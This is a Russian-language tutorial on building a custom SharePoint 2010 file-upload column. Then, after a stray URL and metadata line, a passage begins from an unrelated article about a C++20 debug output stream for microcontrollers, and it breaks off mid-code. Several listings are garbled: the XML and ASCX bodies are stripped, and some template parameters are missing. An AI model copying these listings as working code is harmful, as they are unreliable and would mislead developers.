В общем виде задача выглядит так: пользователь хочет создавать элементы списка и прикладывать к ним файлы, а приложенные файлы нужно разложить по различным столбцам в зависимости от их назначения (например, техническое задание, договор оплаты, реквизиты и т.д.) и отобразить ссылки для их загрузки другим пользователям. Идея реализации такая: хранить все файлы в библиотеке документов, а в списке — только ссылку на нужный файл из библиотеки. Пользователю показывать ссылку для скачивания/удаления/замены файла (если он есть) и форму для добавления нового файла в библиотеку документов. При сохранении обрабатывать изменения, сделанные на клиенте, и, в случае необходимости, обновлять библиотеку документов.
Взглянув сейчас на набор задействованных в данной реализации языков и технологий, не может не радовать то, что все они представлены в Visual Studio. Для создания полностью работающего варианта потребовалось описание типа столбца на XML, кодирование логики поля и связанного контрола на C#, клиентской логики на JavaScript, описание внешнего вида контрола на ASCX и его стиля на CSS, а также пара тригерров, опять же, на C#. Теперь обо всём по порядку…
#### Описание типа столбца на XML
Для описания собственного типа столбца, первое, что необходимо сделать (после создания проекта, естественно) — это добавить в проект Sharepoint Mapped Folder под названием XML. Сделать это можно из контекстного меню проекта (папка XML находится в папке Template):
Сразу же можно добавить и следующие директории: Template/CONTROLTEMPLATES, Template/LAYOUTS/STYLES, Template/LAYOUTS/XSL. Вот что у меня получилось:
Для того чтобы определить новый тип столбца Sharepoint необходимо добавить в папку XML новый файл соответствующего расширения. В этом файле задаются свойства нового типа, такие как имя типа столбца, путь к классу, описывающему поведение, список дополнительных свойств, которые может задавать пользователь при создании столбца, и т.д.
**fldtypes\_SPFileField.xml**
```
xml version="1.0" encoding="utf-8" ?
SPFileField
Text
SPFileField
SPFileField
TRUE
TRUE
TRUE
TRUE
TRUE
FALSE
FALSE
TRUE
SPFileFieldControl.SPFileField, $SharePoint.Project.AssemblyFullName$
```
Подробнее можно посмотреть [здесь](http://msdn.microsoft.com/en-us/library/office/ff407271%28v=office.15%29.aspx) и далее по ссылкам. Для тестирования создадим список (**TestList**) и библиотеку документов (**TestLibrary**). После развёртывания решения в его текущем виде к списку TestList (впрочем, как и к любому другому) можно будет добавить столбец **SPFileField**:
Активировать ничего не надо, так как кастомный тип за фичу (Feature) не считается. Если вдруг новый тип столбца не появляется, перестартуйте IIS. После добавления столбца SPFileField вылезет ошибка, так как в сборке не найден указанный нами тип SPFileFieldControl.SPFileField. Исправим это, добавив в проект файл SPFileField.cs, который будет содержать описание класса нового столбца (SPFileField), класса значения (FileValue) и контрола (SPFileFieldControl), отвечающего за отображение и редактирование.
#### Серверная логика на C#
**FileValue** наследуется от SPFieldMultiColumnValue и программируется таким образом, чтобы хранить 3 свойства: имя файла, путь к файлу и уникальный ИД файла. SPFieldMultiColumnValue позволяет хранить эти значения в одной строке через разделитель '**;#**' и предоставляет доступ к ним через индексатор. Код скрыт под спойлером, но ~~здесь~~ и далее достаточно неплохо прокомментирован.
**FileValue**
```
public class FileValue : SPFieldMultiColumnValue
{
private const int c_PropNumber = 3;
public FileValue() : base(c_PropNumber) {}
public FileValue(string value) : base(value) {}
public string Name
{
get { return base[0]; }
set { base[0] = value; }
}
public string Url
{
get { return base[1]; }
set { base[1] = value; }
}
public Guid _UniqueID = Guid.Empty;
public Guid UniqueID
{
get
{
if (_UniqueID == Guid.Empty)
_UniqueID = new Guid(base[2]);
return _UniqueID;
}
set
{
_UniqueID = value;
base[2] = value.ToString();
}
}
}
```
**SPFileField** наследуется от SPField, который является базовым для столбцов списков Sharepoint. В классе SPFileField мы реализуем необходимые для родительского класса конструкторы, получаем описанное выше свойство LibraryName и используем его при создании SPFileFieldControl, который будет отвечать за отображение контрола на формах просмотра и редактирования.
**SPFileField**
```
public class SPFileField : SPField
{
// Реализуем необходимые для SPField конструкторы
public SPFileField(SPFieldCollection fields, string fieldName) : base(fields, fieldName) { }
public SPFileField(SPFieldCollection fields, string typeName, string displayName) : base(fields, typeName, displayName) { }
public override BaseFieldControl FieldRenderingControl
{
get
{
// Получаем задаваемые пользователем свойства
string libraryName = Convert.ToString(this.GetCustomProperty("LibraryName"));
// Создаём и возвращаем контрол для работы с полем
BaseFieldControl ctrl = new SPFileFieldControl(libraryName);
ctrl.FieldName = this.InternalName;
return ctrl;
}
}
// По строке получаем значение FileValue
public override object GetFieldValue(string value)
{
if (String.IsNullOrEmpty(value))
return null;
return new FileValue(value);
}
}
```
И, наконец, третий класс в файле SPFileField.cs — это **SPFileFieldControl**, описывающий логику работы по загрузке файлов. Данный класс наследуется от BaseFieldControl. SPFileFieldControl содержит описание имён шаблонов, которые необходимо использовать для отрисовки поля на формах отображения и редактирования. В функциях **SetupEditTemplateControls** и **SetupDisplayTemplateControls** описана настройка шаблонов в зависимости от того был ли уже загружен файл. Чтобы не ограничиваться одним столбцом нового типа SPFileField на список в функции SetupEditTemplateControls динамически подцепляется JavaScript для удаления и добавления файлов, в котором используются идентификаторы контролов, уходящие на клиентскую машину.
Здесь же располагается логика по обработке пользовательских изменений. Описывается она в перегруженном методе **UpdateFieldValueInItem** и заключается в следующем: если файл был загружен (поле ItemFieldValue задано), но скрытое поле, содержащее его UniqueID, пустое, то связанный элемент из библиотеки документов будет удалён. Также связанный элемент удаляется при загрузке нового файла. Изначально были попытки заменить файл, не удаляя элемент библиотеки, но это не привело к успеху, так как поле тип файла (File\_x0020\_Type) для библиотеки документов не обновляется при перезаписи файлов через метод Add с параметром overwrite=true.
Так как в одной библиотеке документов Sharepoint не может содержаться два документа с одинаковыми названиями (а требовать от наших пользователей вводить уникальные имена не имеет смысла ;)), то в качестве имени нового документа генерируется Guid. После добавления имя заменяется («для красоты») на «выданный» при создании идентификатор элемента (ID) плюс имя файла, полученное от клиента. В итоге получается примерно следующее: «3-Имя файла.docx». Когда файл добавлен, информация о нём сохраняется в нашем поле (оно находится в исходном списке TestList, к которому мы добавили столбец типа SPFileField).
**SPFileFieldControl**
```
public class SPFileFieldControl : BaseFieldControl
{
// Сообщение, которое выводим в случае отсутствия файла
private const string fileNotExist = "Файл не загружен";
// Имя шаблона для формы редактирования
private const string editTemplateName = "SPFileFieldControlEdit";
// Имя шаблона для формы отображения
private const string displayTemplateName = "SPFileFieldControlDisplay";
// Имя библиотеки, где храним файлы
public string libraryName;
// Переопределяем свойство Value, так чтобы работать с FileValue
private FileValue currentFile = null;
public override object Value
{
get
{
return currentFile;
}
set
{
currentFile = (FileValue)value;
}
}
public SPFileFieldControl(string aLibraryName)
{
libraryName = aLibraryName;
}
// Получаем значение текущего файла
protected override void OnInit(EventArgs e)
{
currentFile = (FileValue)this.ItemFieldValue;
base.OnInit(e);
}
// Подключаем шаблоны, которые будут использоваться для отрисовки
protected override string DefaultTemplateName
{
get
{
return base.ControlMode == SPControlMode.Display
? displayTemplateName
: editTemplateName;
}
}
public override string DisplayTemplateName
{
get { return displayTemplateName; }
}
// После создания контролов по заданному шаблону задаём некоторые их свойства
protected override void CreateChildControls()
{
base.CreateChildControls();
if (base.ControlMode == SPControlMode.Display)
{
SetupDisplayTemplateControls();
}
else
{
SetupEditTemplateControls();
}
}
// Настраиваем контролы для отображения поля на форме редактирования
private void SetupEditTemplateControls()
{
FileUpload fuDocument = (FileUpload)TemplateContainer.FindControl("fuDocument");
HyperLink aFile = (HyperLink)TemplateContainer.FindControl("aFile");
HiddenField hdFileName = (HiddenField)TemplateContainer.FindControl("hdFileName");
HtmlInputImage btnDelete = (HtmlInputImage)TemplateContainer.FindControl("btnDelete");
HtmlInputImage btnAdd = (HtmlInputImage)TemplateContainer.FindControl("btnAdd");
// В зависимости от того загружен ли файл отображаем контролы
if (currentFile != null)
{
// Получаем ссылку для загрузки файла
SPWeb web = SPContext.Current.Site.RootWeb;
SPList list = web.GetList(SPUrlUtility.CombineUrl(web.ServerRelativeUrl, libraryName));
SPListItem spFileItem = list.GetItemByUniqueId(currentFile.UniqueID);
// Показываем ссылку на файл
aFile.NavigateUrl = SPUrlUtility.CombineUrl(web.ServerRelativeUrl, spFileItem.Url);
aFile.Text = currentFile.Name;
// А в скрытом поле сохраняем UniqueId файла
hdFileName.Value = spFileItem.UniqueId.ToString();
}
else
{
// Отображаем сообщение о том, что файл не задан
aFile.Text = fileNotExist;
hdFileName.Value = String.Empty;
}
btnDelete.Attributes.Add("onclick", String.Format(@"clearFileValue('{0}','{1}','{2}','{3}');return false;",
aFile.ClientID, fuDocument.ClientID, hdFileName.ClientID,
fileNotExist));
btnAdd.Attributes.Add("onclick", String.Format(@"changeDisplay('{0}');return false;", fuDocument.ClientID));
fuDocument.Attributes.Add("onchange",String.Format(@"changeFileName(this,'{0}');return false;", aFile.ClientID));
}
// Настраиваем контролы для отображения поля на форме отображения
private void SetupDisplayTemplateControls()
{
if (currentFile != null)
{
// Получаем ссылку для загрузки файла
SPWeb web = SPContext.Current.Site.RootWeb;
SPList list = web.GetList(SPUrlUtility.CombineUrl(web.ServerRelativeUrl, libraryName));
SPListItem spFileItem = list.GetItemByUniqueId(currentFile.UniqueID);
// Показываем ссылку на файл
HyperLink aFile = (HyperLink)TemplateContainer.FindControl("aFile");
aFile.NavigateUrl = SPUrlUtility.CombineUrl(web.ServerRelativeUrl, spFileItem.Url);
aFile.Text = currentFile.Name;
}
}
// Обновляем поле после изменений пользователя
public override void UpdateFieldValueInItem()
{
// Проверяем валидность страницы
Page.Validate();
if (Page.IsValid)
{
// Посмотрим, что пришло с клиента
FileUpload fuDocument = (FileUpload)TemplateContainer.FindControl("fuDocument");
HiddenField hdFileName = (HiddenField)TemplateContainer.FindControl("hdFileName");
// Если скрытое поле пусто и есть файл, значит, его нужно удалить
if (hdFileName.Value == String.Empty && currentFile != null)
{
// Удаляем файл
deleteFile();
// Обнуляем значение поля
currentFile = null;
}
// Загружаем файл и выставляем на него ссылки
if (fuDocument.HasFile)
{
SPWeb web = SPContext.Current.Site.RootWeb;
SPFolder folder = web.GetFolder(SPUrlUtility.CombineUrl(web.ServerRelativeUrl, libraryName));
// Если файл был, удалим его
if (currentFile != null)
{
deleteFile();
}
// Добавим новый файл и сохраним соответствующие значения
currentFile = addFile(folder, fuDocument);
}
base.UpdateFieldValueInItem();
}
}
// Удаляем файл
private void deleteFile()
{
// Получаем элемент из библиотеки документов по UniqueID и удаляем его
SPWeb web = SPContext.Current.Site.RootWeb;
SPList list = web.GetList(SPUrlUtility.CombineUrl(web.ServerRelativeUrl, libraryName));
SPListItem spFileItem = list.GetItemByUniqueId(currentFile.UniqueID);
spFileItem.Delete();
}
// Добавляем файл
private FileValue addFile(SPFolder folder, FileUpload fuDocument)
{
string uniqueName = Guid.NewGuid().ToString();
// Добавляем файл с именем uniqueName
SPFile spfile = folder.Files.Add(uniqueName, fuDocument.FileContent,true);
// Обновляем имя нового элемента библиотеки документов
spfile.Item["BaseName"] = String.Format("{1}-{0}", fuDocument.FileName, spfile.Item.ID);
spfile.Item.Update();
return new FileValue()
{
Url = spfile.Item.Url,
UniqueID = spfile.Item.UniqueId,
Name = fuDocument.FileName
};
}
}
```
#### Описание ASCX шаблона
Полученное решение позволяет успешно создавать столбцы сайта нового типа. Однако формы пока не показываются, так как Sharepoint не может обнаружить указанные в классе SPFileFieldControl шаблоны отображения (RenderingTemplate). Описываются они в ascx-файле в папке CONTROLTEMPLATES. Чтобы создать соответствующий файл нужно добавить в проект пользовательский контрол (User Control) и удалить автоматически сгенерированные файлы с расширениями ascx.cs и ascx.designer.cs. Файл описывает два шаблона: шаблон для формы редактирования **SPFileFieldControlEdit**, состоящий из гиперссылки на файл, поля для загрузки нового файла и кнопок добавить/удалить, и шаблона для формы отображения **SPFileFieldControlDisplay**, который содержит одну гиперссылку на файл.
**SPFileFieldControl.ascx**
```
<%-- Шаблон для формы редактирования --%>
<%-- Подключаем CSS и JS --%>
<%-- Гиперссылка для загрузки --%>
<%-- Кнопка удалить - очищает гиперссылку и скрытое поле) --%>
<%-- Кнопка добавить - показывает FileUpload --%>
<%-- В скрытом поле храним UniqueId чтобы в случае необходимо удалить файл --%>
<%-- Шаблон для формы отображения --%>
<%-- Подключаем CSS --%>
<%-- Гиперссылка для загрузки --%>
```
#### Немного JavaScript и CSS
Чтобы решение начало работать, необходимо добавить в проект JavaScript файл (я добавил его в папку LAYOUTS) и описать в нём три функции: **changeDisplay** — отображение/скрытие элемента по ИД, **clearFileValue** — очистка ссылки на файл, скрытого поля и поля загрузки файла, и **changeFileName** для отображения имени загружаемого файла.
**FileFieldControl.js**
```
// Отображение/скрытие элемента по ИД
function changeDisplay(id) {
var v = document.getElementById(id);
if (v.style.display == 'block') //|| v.style.display == '')
{
v.style.display = 'none';
}
else {
v.style.display = 'block';
}
}
// Очистка ссылки на файл, скрытого поля и поля загрузки файла
function clearFileValue(aID, fID, hfId, defText) {
var a = document.getElementById(aID);
a.innerText = defText;
a.removeAttribute("href");
var hf = document.getElementById(hfId);
hf.value = '';
var f = document.getElementById(fID);
f.outerHTML = f.outerHTML;
}
// Обработка изменения файла
function changeFileName(oFile, aID) {
var a = document.getElementById(aID);
var fullPath = oFile.value;
if (fullPath)
{
// В гиперсылке покажем имя файла без полного пути к нему
var startIndex = (fullPath.indexOf('\\') >= 0 ? fullPath.lastIndexOf('\\') : fullPath.lastIndexOf('/'));
var filename = fullPath.substring(startIndex);
if (filename.indexOf('\\') === 0 || filename.indexOf('/') === 0) {
filename = filename.substring(1);
}
a.innerText = filename;
}
}
```
Ну и куда же без CSS! Добавим в папку STYLES файл FileFieldControl.css, в котором укажем выравнивание для гиперссылки и то, что по умолчанию FileUploader будет **скрыт**.
**FileFieldControl.css**
```
.ffc-hl {
text-align:center;
vertical-align:top;
}
.ffc-fu {
margin-top: 3px;
display: none;
}
```
#### Проверяем!
Стоп. Сначала стоит упомянуть про фичи). Я обнаружил всего одну — для списка, в который добавлены столбцы нового типа, **должны быть запрещены вложения** . Иначе стандартные формы, генерируемые Sharepoint, пытаются обработать контрол FileUpload и вылетает ошибка «Элемент списка был сохранен, но одно или несколько вложений сохранить не удалось».
Вот теперь проверяем! Напомню, что мы создали список **TestList**, добавили к нему столбец нового типа с названием **TestFile**, а также добавили библиотеку документов **TestLibrary**, в которую и должны, в конечном счете, попадать файлы. После всей проделанной работы форма для создания элементов TestList выглядит так:
При добавлении файла наш контрол принимает вид:
А так выглядят только что созданные элементы в списке TestList:
И в библиотеке TestLibrary:
Поле SPFileField на форме просмотра:
На форме редактирования:
Заметили небольшие кракозябры в представлении элементов списка? Правильно, так по умолчанию отображается описанное нами значение FileValue (имя файла, путь к нему и UniqueID через разделитель). Чтобы поправить это, необходимо обратиться к XSL.
#### XSL
Как вы уже наверно догадались файл XSL необходимо добавить в папку с соответствующим именем. Будьте осторожны — Visual Studio предлагает добавить XSLT файл после поиска по шаблону 'XSL'. Необходимо заменить расширения файла на то, которое нам необходимо. Также стоит отметить, что имя файла должно начинаться с **'fldtypes\_'**. Подробнее об этом можно почитать [здесь](http://msdn.microsoft.com/en-us/library/office/ff606773%28v=office.14%29.aspx). Там же можно найти стандартные заголовки, которые ниже были опущены. В самом XSL файле описывается разбор строки, которая через **';#'** содержит имя и путь к файлу, и вывод результирующей гиперссылки.
**fldtypes\_SPFileField.xsl**
```
```
После развёртывания решения с новым XSL файлом, представление списка TestList примет более приличный вид:
#### EventReciever-ы
В получившемся решении не предусмотрено удаление файлов из TestLibrary при удалении элементов списка TestList. То есть если удалить только что созданные элементы ('без названия'), то файл 'Документ Microsoft Word.docx' останется в библиотеке TestLibrary. Поправить такое поведение можно с помощью EventReceiver-ов (кода, срабатывающего при наступлении определённого события). Для этого в проект добавим **EventReceiver**. Я назвал его ER\_OnItemDeleting. Нас интересуют события для элементов списка, а именно момент удаления элемента (An item is being deleted), так как после удаления мы потеряем значения всех полей, а значит и идентификатор файла.
Нужный список, для которого необходимо обрабатывать события, у меня не появился, поэтому я выбрал любой и потом внёс исправления вручную. Для этого в файле Elements.xml (внутри ER\_OnItemDeleting) у тега Receivers нужно заменить атрибут ListTemplateId на ListUrl со значением Lists/TestList. Привязывать EventReceiver к конкретному списку можно как с помощью ListTemplateId, так и с помощью ListUrl. Второе легче узнать, поэтому я использовал именно его. Получилось следующее описание EventReciever-a:
**Elements.xml**
```
xml version="1.0" encoding="utf-8"?
ER\_OnItemDeletingItemDeleting
ItemDeleting
$SharePoint.Project.AssemblyFullName$
SPFileFieldControl.ER\_OnItemDeleting.ER\_OnItemDeleting
10000
```
Кастомные триггеры считаются Sharepoint за отдельные фичи. Поэтому после добавления EventReceiver-а в проекте так же окажется Feature1. Чтобы в дальнейшем было легче ориентироваться я переназвал фичу 'Triggers', а в поле Title вбил 'SPFileFieldControl Triggers'. Сам код EventReceiver-а не сложен и заключается в том, что мы перебираем поля удаляемого элемента в попытке найти столбец типа SPFileField. Если поле найдено, и файл был загружен, то он удаляется.
**ER\_OnItemDeleting.cs**
```
public class ER_OnItemDeleting : SPItemEventReceiver
{
public const string ER_OnItemDeletingName =
"SPFileFieldControl.ER_OnItemDeleting.ER_OnItemDeleting";
public const string SPFileFieldName = "SPFileField";
public override void ItemDeleting(SPItemEventProperties properties)
{
// Проходим по всем полям удаляемого элемента списка
for (int i = 0; i < properties.ListItem.Fields.Count; i++)
{
// Если поле типа SPFileField
if (properties.ListItem.Fields[i].TypeAsString == ER_OnItemDeleting.SPFileFieldName)
{
// И был загружен файл
FileValue fileValue = properties.ListItem[properties.ListItem.Fields[i].StaticName] as FileValue;
if (fileValue == null)
continue;
// Удаляем его
SPFile spFile = properties.Web.GetFile(fileValue.UniqueID);
spFile.Delete();
}
}
base.ItemDeleting(properties);
}
}
```
Опубликовав решение, можно убедиться, что файл из библиотеки TestLibrary действительно удаляется, когда это необходимо (фича должна **активироваться** автоматом при развёртывании решения). Но не подключать же вручную EventReceiver-ы при добавлении к списку столбца типа SPFileField! Оказывается, событие создания нового столбца можно также отследить и обработать с помощью EventReceiver-а. По аналогии с предыдущим создадим новый EventReceiver, отслеживающий события списка (List Events), такие как добавление и удаление столбцов (a field was added/a field is being removed). Вот так выглядит **конечная иерархия файлов** в проекте:
Разрабатывая EventReceiver-ы, бывает полезно [посмотреть список всех имеющихся](http://techtrainingnotes.blogspot.ru/2011/06/sharepoint-which-lists-have-event.html) и [ручками поправить, если что-то не так](http://blogs.solidq.com/sharepoint/Post.aspx?ID=80). Ниже приведён код, отрабатывающий во время добавления и удаления столбцов типа SPFileField. При добавлении столбца мы подключаем к целевому списку вышеописанный EventReceiver, который удаляет связанные файлы при удалении элементов списка. А при удалении — удаляем связанные файлы и, если в списке больше нет столбцов типа SPFileField, отменяем обработку события OnItemDeleting.
**ER\_OnFileFieldCRUD.cs**
```
public class ER_OnFileFieldCRUD : SPListEventReceiver
{
public const string SPFileFieldName = "SPFileField";
public override void FieldAdded(SPListEventProperties properties)
{
// Если добавляется поле SPFileField, то подписываемся на удаление элементов, чтобы удалять связные файлы
if (properties.Field.TypeDisplayName == SPFileFieldName)
{
// Пробуем добавить EventReceiver, если его нет
bool eventReceiverExists = false;
for (int i = 0; i < properties.List.EventReceivers.Count;i++)
{
if (properties.List.EventReceivers[i].Class ==
ER_OnItemDeleting.ER_OnItemDeleting.ER_OnItemDeletingName)
{
eventReceiverExists = true;
break;
}
}
if (!eventReceiverExists)
{
properties.List.EventReceivers.Add(SPEventReceiverType.ItemDeleting,
Assembly.GetExecutingAssembly().FullName,
ER_OnItemDeleting.ER_OnItemDeleting.ER_OnItemDeletingName);
}
}
base.FieldAdded(properties);
}
public override void FieldDeleting(SPListEventProperties properties)
{
if (properties.Field.TypeDisplayName == SPFileFieldName)
{
// Если удаляется столбец SPFileField, то
// 1) Удаляем все связные файлы, если они есть
for (int i = 0; i < properties.List.Items.Count; i++)
{
SPListItem splistItem = properties.List.Items[i];
FileValue fileValue = splistItem[properties.Field.StaticName] as FileValue;
if (fileValue == null)
continue;
SPFile spFile = properties.Web.GetFile(fileValue.UniqueID);
spFile.Delete();
}
// Проверяем, останутся ли после удаления столбцы типа SPFileField
bool anyFileFieldExist = false;
for (int i = 0; i < properties.List.Fields.Count; i++)
{
if (properties.List.Fields[i].TypeAsString == SPFileFieldName
&& properties.List.Fields[i].StaticName != properties.Field.StaticName)
{
anyFileFieldExist = true;
break;
}
}
// 2) Отписываемся от триггера, если больше нет колонок типа SPFileField
if (!anyFileFieldExist)
{
for (int i = 0; i < properties.List.EventReceivers.Count; )
{
if (properties.List.EventReceivers[i].Class == ER_OnItemDeleting.ER_OnItemDeleting.ER_OnItemDeletingName)
{
properties.List.EventReceivers[i].Delete();
}
else
{
i++;
}
}
}
}
base.FieldDeleting(properties);
}
}
```
На этом я завершил разработку столбца SPFileField, хотя, как говорится, «совершенству нет предела». Например, можно обработать удаление файла из библиотеки документов напрямую (я эту библиотеку пользователям не показываю) и очищать ссылку на него (значение FileValue). Или добавить проверку существования библиотеки документов при создании столбцов SPFileField и т.д. Чтобы не ограничивать вас в ваших желаниях выкладываю [исходники, а также готовое решение](https://github.com/PetrovSerega/SPFileFieldControl).
#### Заключение
Полученное решение позволяет создавать столбцы Sharepoint 2010 и «загружать» в них файлы. При этом загруженные файлы не являются стандартными вложениями, которые после загрузки различаются только по названию. Файлы, попавшие в систему через столбец SPFileField, обладают связью с конкретным столбцом, которую можно использовать при создании собственных View. Таким образом, представленный подход, позволяет разделять загрузку файлов и вывод информации о них на уровне столбцов.
Дополнительным плюсом является то, что мы не ограничены одним столбцом типа SPFileField на каждый список, и столбцы SPFileField могут быть настроены для загрузки файлов в разные библиотеки документов (может быть интересно показать пользователю и связанную библиотеку документов).
На этом у меня всё, спасибо за внимание!
Отдельное спасибо хочется сказать этому [ресурсу](http://www.ittilan.ru/publications/sharepoint/custom_field_types.php), на котором достаточно подробно описано создание Сustom Field Types для Sharepoint 2007. Как показывает мой опыт, большая часть написанного справедлива и для Sharepoint 2010. | https://habr.com/ru/post/235493/ | null | ru | null |
# Отладочный вывод на микроконтроллерах: как Concepts и Ranges отправили мой printf на покой
Здравствуйте! Меня зовут Александр и я работаю программистом микроконтроллеров.
Начиная на работе новый проект, я привычно набрасывал в project tree исходники всяческих полезных утилит. И на хедере app\_debug.h несколько подзавис.
Дело в том, что в декабре прошлого года у [GNU Arm Embedded Toolchain](https://developer.arm.com/tools-and-software/open-source-software/developer-tools/gnu-toolchain/gnu-rm/downloads) вышел релиз 10-2020-q4-major, включающий все GCC 10.2 features, а значит и поддержку Concepts, Ranges, Coroutines вкупе с другими, менее "громкими" новинками С++20.
Воодушевленное новым стандартом воображение рисовало мой будущий С++ код ультрасовременным и лаконично-поэтичным. И старый, добрый *printf("Debug message\n")* в это благостное видение не очень-то вписывался.
Хотелось бескомпромиссной плюсовой функциональности и стандартных удобств!
```
float raw[] = {3.1416, 2.7183, 1.618};
array arr{123, 456, 789};
cout << int{2021} << '\n'
<< float{9.806} << '\n'
<< raw << '\n'
<< arr << '\n'
<< "Hello, Habr!" << '\n'
<< ("esreveR me!" | views::take(7) | views::reverse ) << '\n';
```
Ну а если хочется хорошего, зачем же себе отказывать?
Реализуем на С++20 интерфейс потока для отладочного вывода МК, поддерживающий любой подходящий протокол, предусмотренный вендром камня. Легковесный и быстрый, без бойлерплейта. Поддерживающий как блокирующий посимвольный вывод - для нечувствительных к времени выполнения участков кода, так и неблокирующий, для быстрых функций.
Зададим для комфортного чтения кода несколько удобных алиасов:
```
using base_t = std::uint32_t;
using fast_t = std::uint_fast32_t;
using index_t = std::size_t;
```
Как известно, в микроконтроллерах неблокирующие алгоритмы передачи данных реализуются на прерываниях и DMA. Для идентификации режимов вывода заведем *enum*:
```
enum class BusMode{
BLOCKING,
IT,
DMA,
};
```
Опишем базовый класс, реализующий логику протоколов, ответственных за отладочный вывод:
class BusInterface
```
template
class BusInterface{
public:
using derived\_ptr = T\*;
static constexpr BusMode mode = T::mode;
void send (const char arr[], index\_t num) noexcept {
if constexpr (BusMode::BLOCKING == mode){
derived()->send\_block(arr, num);
} else if (BusMode::IT == mode){
derived()->send\_it(arr, num);
} else if (BusMode::DMA == mode){
derived()->send\_dma(arr, num);
}
}
private:
derived\_ptr derived(void) noexcept{
return static\_cast(this);
}
void send\_block (const char arr[], const index\_t num) noexcept {}
void send\_it (const char arr[], const index\_t num) noexcept {}
void send\_dma (const char arr[], const index\_t num) noexcept {}
};
```
Класс реализован по паттерну [CRTP](https://ru.wikipedia.org/wiki/Curiously_recurring_template_pattern), что дает нам преимущества полиморфизма времени компиляции. Класс содержит единственный публичный метод *send(),* в котором на этапе компиляции, в зависимости от режима вывода, выбирается нужный метод. В качестве аргументов метод принимает указатель на буфер с данными и его полезный размер. На моей практике это самый распространенный формат аргументов в HAL-функциях вендоров МК.
И тогда например класс Uart, наследуемый от данного базового класса, будет выглядеть примерно так:
class Uart
```
template
class Uart final : public BusInterface> {
private:
static constexpr BusMode mode = Mode;
void send\_block (const char arr[], const index\_t num) noexcept{
HAL\_UART\_Transmit(
&huart,
bit\_cast(arr),
std::uint16\_t(num),
base\_t{5000}
);
}
void send\_it (const char arr[], const index\_t num) noexcept {
HAL\_UART\_Transmit\_IT(
&huart,
bit\_cast(arr),
std::uint16\_t(num)
);
}
void send\_dma (const char arr[], const index\_t num) noexcept {
HAL\_UART\_Transmit\_DMA(
&huart,
bit\_cast(arr),
std::uint16\_t(num)
);
}
friend class BusInterface>;
friend class BusInterface>;
friend class BusInterface>;
};
```
По аналогии можно реализовать классы и других протоколов, поддерживаемых микроконтроллером, заменив в методах *send\_block(), send\_it()* и *send\_dma()* соответствующие функции HAL. Если протокол передачи данных поддерживает не все режимы, тогда соответствующий метод просто не определяем.
И в завершении этой части заведем короткие алиасы итогового класса Uart:
```
using UartBlocking = BusInterface>;
using UartIt = BusInterface>;
using UartDma = BusInterface>;
```
Отлично, теперь разработаем класс потока вывода:
class StreamBase
```
template
class StreamBase final: public StreamStorage
{
public:
using bus\_t = Bus;
using stream\_t = StreamBase;
static constexpr BusMode mode = bus\_t::mode;
StreamBase() = default;
~StreamBase(){ if constexpr (BusMode::BLOCKING != mode) flush(); }
StreamBase(const StreamBase&) = delete;
StreamBase& operator= (const StreamBase&) = delete;
stream\_t& operator << (const char\_type auto c){
if constexpr (BusMode::BLOCKING == mode){
bus.send(&c, 1);
} else {
\*it = c;
it = std::next(it);
}
return \*this;
}
stream\_t& operator << (const std::floating\_point auto f){
if constexpr (BusMode::BLOCKING == mode){
auto [ptr, cnt] = NumConvert::to\_string\_float(f, buffer.data());
bus.send(ptr, cnt);
} else {
auto [ptr, cnt] = NumConvert::to\_string\_float(f, buffer.data() + std::distance(buffer.begin(), it));
it = std::next(it, cnt);
}
return \*this;
}
stream\_t& operator << (const num\_type auto n){
auto [ptr, cnt] = NumConvert::to\_string\_integer( n, &buffer.back() );
if constexpr (BusMode::BLOCKING == mode){
bus.send(ptr, cnt);
} else {
auto src = std::prev(buffer.end(), cnt + 1);
it = std::copy(src, buffer.end(), it);
}
return \*this;
}
stream\_t& operator << (const std::ranges::range auto& r){
std::ranges::for\_each(r, [this](const auto val) {
if constexpr (char\_type){
\*this << val;
} else if (num\_type || std::floating\_point){
\*this << val << Delim;
}
});
return \*this;
}
private:
void flush (void) {
bus.send(buffer.data(), std::distance(buffer.begin(), it));
it = buffer.begin();
}
std::span buffer{storage};
std::span::iterator it{buffer.begin()};
bus\_t bus;
};
```
Рассмотрим подробнее его значимые части.
Шаблон класса параметризуется классом протокола, значением Delim типа *char* и наследуется от класса *StreamStorage.* Единственная задача последнего - предоставить доступ к массиву *char*, в котором будут формироваться строки вывода в неблокирующем режиме. Имплементацию здесь не привожу, она вторична к рассматриваемой теме; оставляю на ваше усмотрение или утяните из моего примера в конце статьи. Для удобной и безопасной работы с этим массивом (в примере - *storage*) мы заведем два приватных члена класса:
```
std::span buffer{storage};
std::span::iterator it{buffer.begin()};
```
Delim - разделитель между значениями чисел при выводе содержимого массивов/контейнеров.
Публичные методы класса - это четыре перегрузки ***operator<<.*** Три из них - для вывода базовых типов, с которыми наш интерфейс будет работать (*char, float и integral type*), а четвертая - для вывода содержимого массивов и стандартных контейнеров.
Вот здесь начинается самая вкуснота.
Каждая перегрузка оператора вывода - фактически шаблонная функция, в которой шаблонный параметр ограничен требованиями указанного концепта. Я использую собственные концепты *char\_type, num\_type*...
```
template
concept char\_type = std::same\_as;
template
concept num\_type = std::integral && !char\_type;
```
... и концепты из стандартной библиотеки - *std::floating\_point* и *std::ranges::range.*
Концепты базовых типов защищают нас от неоднозначных перегрузок, и в комплексе с концептом *range* позволяет нам реализовать единый алгоритм вывода для любых стандартных контейнеров и массивов.
Логика внутри каждого оператора вывода базового типа проста. В зависимости от режима вывода (блокирующий / не блокирующий) мы или сразу отправляем символ на печать, либо формируем в буфере потока строку. И в момент выхода из функции объект нашего потока разрушается, вызывается деструктор, где приватный метод *flush()* отправляет заготовленную строку на печать в режиме IT или DMA.
При конвертации числового значения в массив *char*-ов я отказался от известной идиомы с *snprintf()* в пользу наработок [neiver](http://we.easyelectronics.ru/blog/Soft/2400.html). Автор в своих публикациях показывает заметное превосходство предложенных им алгоритмов конвертации чисел в строку как в размере бинарника, так и в скорости преобразования. Позаимствованный у него код я инкапсулировал в классе *NumConvert*, содержащем методы *to\_string\_integer()* и *to\_string\_float().*
В перегрузке оператора вывода данных массива/контейнера мы с помощью стандартного алгоритма *std::ranges::for\_each()* пробегаемся по содержимому рэйнджа и если элемент удовлетворяет концепту *char\_type*, выводим строку слитно. Если же удовлетворяет концептам *num\_type* или *std::floating\_point*, разделяем значения с помощью заданного значения Delim.
Ну хорошо, мы тут наворотили шаблонов, концептов и прочей плюсовой тяжелой артиллерии. Это ж какой длины мы получим ассемблерную портянку на выходе? Посмотрим два примера:
```
int main() {
using StreamUartBlocking = StreamBase;
StreamUartBlocking cout;
cout << 'A'; // 1
cout << ("esreveR me!" | std::views::take(7) | std::views::reverse); // 2
return 0;
